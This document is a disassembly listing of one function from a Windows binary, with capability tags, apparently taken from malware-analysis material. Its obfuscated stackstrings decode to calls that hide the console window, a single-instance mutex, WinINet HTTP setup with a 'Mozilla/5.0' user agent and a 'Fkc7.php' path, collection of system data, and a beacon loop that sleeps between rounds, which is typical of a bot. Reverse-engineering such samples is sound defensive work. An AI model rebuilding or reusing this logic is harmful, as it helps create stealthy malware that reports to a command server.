Function at 0x14000e1f0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x370
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rsp + 0x368], rax
xor edi, edi
mov dword [r11 - 0x2d], edi
mov dword [r11 - 0x38], 0x72657355
mov dword [r11 - 0x34], 0x642e3233
mov word [r11 - 0x30], 0x6c6c
mov byte [r11 - 0x2e], dil
mov dword [r11 - 0x45], edi
mov dword [r11 - 0x50], 0x776f6853
mov dword [r11 - 0x4c], 0x646e6957
mov word [r11 - 0x48], 0x776f
mov byte [r11 - 0x46], dil
mov qword [r11 - 0x5c], rdi
mov dword [r11 - 0x68], 0x646e6946
mov dword [r11 - 0x64], 0x646e6957
mov dword [r11 - 0x60], 0x41776f
lea rcx, [r11 - 0x38]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rsp + 0x338]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff18], rax
lea rdx, [rsp + 0x320]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff58], rax
mov dword [rsp + 0xa8], 0x7373
movdqa xmm0, xmmword [0x140039110]
movdqu xmmword [rsp + 0x98], xmm0
xor edx, edx
lea rcx, [rsp + 0x98]
call rax
mov rcx, rax
xor edx, edx
call qword [0x14003ff18]
lea r8, str.RfmbFv8D
lea edx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x14000f175
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000fcf8
movdqa xmm0, xmmword [0x140039190]
movdqu xmmword [0x140040050], xmm0
mov word [0x140040060], 0x7a
movdqa xmm0, xmmword [0x1400390f0]
movdqa xmmword [0x14003ffc0], xmm0
movdqa xmm1, xmmword [0x140039170]
movdqa xmmword [0x14003ffd0], xmm1
mov dword [0x14003ffe0], 0x37636b46
mov dword [0x14003ffe4], 0x7068702e
mov byte [0x14003ffe8], dil
mov eax, 0x800000
mov ecx, 0x80000000
cmp dword [0x14003ea80], 0x50
cmove eax, ecx
mov dword [0x14003ff20], eax
mov dword [0x140040038], 0x697a6f4d
mov dword [0x14004003c], 0x2f616c6c
mov dword [0x140040040], 0x302e35
mov dword [0x14003ff88], 0x696e6957
mov dword [0x14003ff8c], 0x2e74656e
mov dword [0x14003ff90], 0x6c6c64
mov dword [0x14003ff70], 0x65746e49
mov dword [0x14003ff74], 0x74656e72
mov dword [0x14003ff78], 0x6e65704f
mov word [0x14003ff7c], 0x41
movdqa xmm0, xmmword [0x1400390a0]
movdqu xmmword [0x14003ff40], xmm0
mov byte [0x14003ff50], dil
movdqa xmm1, xmmword [0x1400390c0]
movdqu xmmword [0x14003ffa0], xmm1
mov byte [0x14003ffb0], dil
movdqa xmm0, xmmword [0x1400390b0]
movdqu xmmword [0x14003ff28], xmm0
mov byte [0x14003ff38], dil
lea rcx, [rsp + 0x2e0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0xf
jbe 0x14000e45e
mov rdx, qword [rsp + 0x2e0]
mov rax, rdx
jmp 0x14000e466
lea rax, [rsp + 0x2e0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000e470
lea rcx, [rsp + 0x2c0]
call fcn.140001260
nop
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x1f8]
call fcn.14000a020
nop
lea rcx, [rsp + 0x138]
call fcn.140010960
nop
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0xf
jbe 0x14000e4cc
mov rax, qword [rsp + 0x138]
mov rdx, rax
jmp 0x14000e4d4
lea rdx, [rsp + 0x138]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e4e0
lea rcx, [rsp + 0x2a0]
call fcn.140001260
nop
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x1d8]
call fcn.14000a020
nop
lea rcx, [rsp + 0x118]
call fcn.140010560
nop
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
jbe 0x14000e53c
mov rax, qword [rsp + 0x118]
mov rdx, rax
jmp 0x14000e544
lea rdx, [rsp + 0x118]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e550
lea rcx, [rsp + 0x280]
call fcn.140001260
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b8]
call fcn.14000a020
nop
lea rcx, [rsp + 0x98]
call fcn.140010c80
nop
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
jbe 0x14000e5ac
mov rax, qword [rsp + 0x98]
mov rdx, rax
jmp 0x14000e5b4
lea rdx, [rsp + 0x98]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e5c0
lea rcx, [rsp + 0x260]
call fcn.140001260
nop
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x198]
call fcn.14000a020
nop
lea rcx, [rsp + 0xf8]
call fcn.14000ff70
nop
lea rax, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
jbe 0x14000e61c
mov rax, qword [rsp + 0xf8]
mov rdx, rax
jmp 0x14000e624
lea rdx, [rsp + 0xf8]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e630
lea rcx, [rsp + 0x240]
call fcn.140001260
nop
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x178]
call fcn.14000a020
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea r12, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova r12, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa8]
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x14000fd00
mov qword [rsp + 0x70], 0xf
mov r13d, 0x16
cmp r14, 0xf
ja 0x14000e6d8
mov qword [rsp + 0x68], r14
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x58], xmm0
movabs r15, 0x8000000000000000
jmp 0x14000e77b
mov rbx, r14
or rbx, 0xf
cmp rbx, rax
jbe 0x14000e6f7
mov rbx, rax
movabs r15, 0x8000000000000000
lea rax, [r15 + 0x27]
jmp 0x14000e722
cmp rbx, r13
cmovb rbx, r13
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000e744
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000fd06
movabs r15, 0x8000000000000000
mov rcx, rax
call fcn.140012840
mov rcx, rax
test rax, rax
je 0x14000fd0c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000e75d
test rcx, rcx
je 0x14000e750
call fcn.140012840
jmp 0x14000e753
mov rax, rdi
movabs r15, 0x8000000000000000
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], rbx
lea r8, [r14 + 1]
mov rdx, r12
mov rcx, rax
call fcn.14002adb0
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0xd8]
call fcn.140011360
nop
lea rax, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
jbe 0x14000e7ae
mov rax, qword [rsp + 0xd8]
mov rdx, rax
jmp 0x14000e7b6
lea rdx, [rsp + 0xd8]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e7c0
lea rcx, [rsp + 0x220]
call fcn.140001260
nop
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x158]
call fcn.14000a020
nop
mov ecx, 0xa
call fcn.140012abc
mov rbx, rax
mov qword [rsp + 0x350], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov dword [rbx], 0x66646575
mov ecx, 0x4e20
call fcn.14001bf24
mov r14, rax
xor edx, edx
mov r8d, 0x4e20
mov rcx, rax
call fcn.14002a9f0
lea r10, [rsp + 0x158]
cmp qword [rsp + 0x170], 0xf
cmova r10, qword [rsp + 0x158]
lea r8, [rsp + 0x178]
cmp qword [rsp + 0x190], 0xf
cmova r8, qword [rsp + 0x178]
lea rdx, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0xf
cmova rdx, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x1d8]
cmp qword [rsp + 0x1f0], 0xf
cmova rcx, qword [rsp + 0x1d8]
lea rax, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rax, qword [rsp + 0x198]
lea r9, [rsp + 0x1f8]
cmp qword [rsp + 0x210], 0xf
cmova r9, qword [rsp + 0x1f8]
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, str._s_s_s_s_s_s_s
mov rcx, r14
call fcn.140001c70
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
lea rcx, [rsp + 0xb8]
call fcn.1400019f0
nop
nop dword [rax]
inc rsi
cmp byte [r14 + rsi], 0
jne 0x14000e930
mov r12, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
sub rax, r12
cmp rsi, rax
ja 0x14000e997
lea rax, [r12 + rsi]
mov qword [rsp + 0xc8], rax
lea rbx, [rsp + 0xb8]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0xb8]
lea rcx, [r12 + rbx]
mov r8, rsi
mov rdx, r14
call fcn.14002adb0
lea rax, [rsi + r12]
mov byte [rax + rbx], 0
mov rbx, qword [rsp + 0x350]
jmp 0x14000e9af
mov qword [rsp + 0x20], rsi
mov r9, r14
mov rdx, rsi
lea rcx, [rsp + 0xb8]
call fcn.140009540
mov rcx, r14
call fcn.14001baf8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x338], xmm0
mov dword [rsp + 0x348], eax
mov dword [rsp + 0x338], 0x6e72656b
mov dword [rsp + 0x33c], 0x32336c65
mov dword [rsp + 0x340], 0x6c6c642e
mov byte [rsp + 0x344], al
lea rcx, [rsp + 0x338]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rsp + 0x320], xmm0
mov dword [rsp + 0x330], ecx
mov dword [rsp + 0x320], 0x61657243
mov dword [rsp + 0x324], 0x68546574
mov dword [rsp + 0x328], 0x64616572
mov byte [rsp + 0x32c], cl
lea rdx, [rsp + 0x320]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140040028], rax
lea rcx, [rsp + 0x218]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
lea r9, [rsp + 0xb8]
lea r8, [0x14000df70]
xor edx, edx
xor ecx, ecx
call rax
test rax, rax
jne 0x14000f1a9
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x14000eac7
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eac2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd28
call fcn.140012570
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0xd0], 0xf
mov byte [rsp + 0xb8], 0
mov rdx, qword [rsp + 0x170]
cmp rdx, 0xf
jbe 0x14000eb26
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd2e
call fcn.140012570
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], 0xf
mov byte [rsp + 0x158], 0
mov rdx, qword [rsp + 0x238]
cmp rdx, 0xf
jbe 0x14000eb85
inc rdx
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd34
call fcn.140012570
mov qword [rsp + 0x230], rdi
mov qword [rsp + 0x238], 0xf
mov byte [rsp + 0x220], 0
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x14000ebe4
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ebdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd3a
call fcn.140012570
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], 0xf
mov byte [rsp + 0xd8], 0
mov rdx, qword [rsp + 0x190]
cmp rdx, 0xf
jbe 0x14000ec43
inc rdx
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd40
call fcn.140012570
mov qword [rsp + 0x188], rdi
mov qword [rsp + 0x190], 0xf
mov byte [rsp + 0x178], 0
mov rdx, qword [rsp + 0x258]
cmp rdx, 0xf
jbe 0x14000eca2
inc rdx
mov rcx, qword [rsp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec9d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd46
call fcn.140012570
mov qword [rsp + 0x250], rdi
mov qword [rsp + 0x258], 0xf
mov byte [rsp + 0x240], 0
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14000ed01
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ecfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd4c
call fcn.140012570
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], 0xf
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x14000ed60
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd52
call fcn.140012570
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x1b0], 0xf
mov byte [rsp + 0x198], 0
mov rdx, qword [rsp + 0x278]
cmp rdx, 0xf
jbe 0x14000edbf
inc rdx
mov rcx, qword [rsp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000edba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd58
call fcn.140012570
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x278], 0xf
mov byte [rsp + 0x260], 0
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14000ee1e
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd5e
call fcn.140012570
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0xb0], 0xf
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0x1d0]
cmp rdx, 0xf
jbe 0x14000ee7d
inc rdx
mov rcx, qword [rsp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ee78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd64
call fcn.140012570
mov qword [rsp + 0x1c8], rdi
mov qword [rsp + 0x1d0], 0xf
mov byte [rsp + 0x1b8], 0
mov rdx, qword [rsp + 0x298]
cmp rdx, 0xf
jbe 0x14000eedc
inc rdx
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eed7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd6a
call fcn.140012570
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 0xf
mov byte [rsp + 0x280], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x14000ef3b
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd70
call fcn.140012570
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], 0
mov rdx, qword [rsp + 0x1f0]
cmp rdx, 0xf
jbe 0x14000ef9a
inc rdx
mov rcx, qword [rsp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ef95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd76
call fcn.140012570
mov qword [rsp + 0x1e8], rdi
mov qword [rsp + 0x1f0], 0xf
mov byte [rsp + 0x1d8], 0
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 0xf
jbe 0x14000eff9
inc rdx
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eff4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd7c
call fcn.140012570
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2b8], 0xf
mov byte [rsp + 0x2a0], 0
mov rdx, qword [rsp + 0x150]
cmp rdx, 0xf
jbe 0x14000f058
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f053
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd82
call fcn.140012570
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x150], 0xf
mov byte [rsp + 0x138], 0
mov rdx, qword [rsp + 0x210]
cmp rdx, 0xf
jbe 0x14000f0b7
inc rdx
mov rcx, qword [rsp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd88
call fcn.140012570
mov qword [rsp + 0x208], rdi
mov qword [rsp + 0x210], 0xf
mov byte [rsp + 0x1f8], 0
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0xf
jbe 0x14000f116
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f111
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd8e
call fcn.140012570
mov qword [rsp + 0x2d0], rdi
mov qword [rsp + 0x2d8], 0xf
mov byte [rsp + 0x2c0], 0
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 0xf
jbe 0x14000f175
inc rdx
mov rcx, qword [rsp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f170
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fcf2
call fcn.140012570
xor eax, eax
mov rcx, qword [rsp + 0x368]
xor rcx, rsp
call fcn.140012550
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov rcx, rbx
call fcn.140012570
lea rax, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova rax, qword [rsp + 0xf8]
mov qword [rsp + 0x108], rdi
mov byte [rax], 0
lea rax, [rsp + 0x240]
cmp qword [rsp + 0x258], 0xf
cmova rax, qword [rsp + 0x240]
mov qword [rsp + 0x250], rdi
mov byte [rax], 0
lea rax, [rsp + 0x178]
cmp qword [rsp + 0x190], 0xf
cmova rax, qword [rsp + 0x178]
mov qword [rsp + 0x188], rdi
mov byte [rax], 0
lea rax, [rsp + 0x138]
cmp qword [rsp + 0x150], 0xf
cmova rax, qword [rsp + 0x138]
mov qword [rsp + 0x148], rdi
mov byte [rax], 0
lea rax, [rsp + 0x2a0]
cmp qword [rsp + 0x2b8], 0xf
cmova rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x2b0], rdi
mov byte [rax], 0
lea rax, [rsp + 0x1d8]
cmp qword [rsp + 0x1f0], 0xf
cmova rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0xf
cmova rax, qword [rsp + 0x98]
mov qword [rsp + 0xa8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x260]
cmp qword [rsp + 0x278], 0xf
cmova rax, qword [rsp + 0x260]
mov qword [rsp + 0x270], rdi
mov byte [rax], 0
lea rax, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rax, qword [rsp + 0x198]
mov qword [rsp + 0x1a8], rdi
mov byte [rax], 0
lea rax, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rax, qword [rsp + 0xd8]
mov qword [rsp + 0xe8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x220]
cmp qword [rsp + 0x238], 0xf
cmova rax, qword [rsp + 0x220]
mov qword [rsp + 0x230], rdi
mov byte [rax], 0
lea rax, [rsp + 0x158]
cmp qword [rsp + 0x170], 0xf
cmova rax, qword [rsp + 0x158]
mov qword [rsp + 0x168], rdi
mov byte [rax], 0
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0xf
cmova rax, qword [rsp + 0x118]
mov qword [rsp + 0x128], rdi
mov byte [rax], 0
lea rax, [rsp + 0x280]
cmp qword [rsp + 0x298], 0xf
cmova rax, qword [rsp + 0x280]
mov qword [rsp + 0x290], rdi
mov byte [rax], 0
lea rax, [rsp + 0x1b8]
cmp qword [rsp + 0x1d0], 0xf
cmova rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x1c8], rdi
mov byte [rax], 0
lea rax, [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0xf
cmova rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x2f0], rdi
mov byte [rax], 0
lea rax, [rsp + 0x1f8]
cmp qword [rsp + 0x210], 0xf
cmova rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x208], rdi
mov byte [rax], 0
lea rax, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0xf
cmova rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x2d0], rdi
mov byte [rax], 0
lea rcx, [rsp + 0x300]
call fcn.140011ee0
nop
mov r12, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x310]
nop dword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea r14, [rsp + 0x300]
cmp r12, 0xf
seta byte [rsp + 0x50]
cmova r14, qword [rsp + 0x300]
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x14000fd12
mov qword [rsp + 0x70], 0xf
cmp rsi, 0xf
ja 0x14000f4d1
mov qword [rsp + 0x68], rsi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x58], xmm0
jmp 0x14000f557
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
jbe 0x14000f506
mov rbx, rax
lea rax, [r15 + 0x27]
mov rcx, rax
call fcn.140012840
mov rcx, rax
test rax, rax
je 0x14000fd1c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000f539
cmp rbx, 0x16
cmovb rbx, r13
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000f52a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000fd17
jmp 0x14000f4e4
test rcx, rcx
je 0x14000f536
call fcn.140012840
jmp 0x14000f539
mov rax, rdi
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.14002adb0
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.14000bd30
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x14000f5a6
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f5a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fd1c
call fcn.140012570
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x14000f470
call fcn.140019138
int3
xor ecx, ecx
call fcn.14001c234
nop
call fcn.140001240
int3
call fcn.1400011a0
int3
call fcn.140019138
nop
call fcn.140001240
call fcn.1400011a0
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3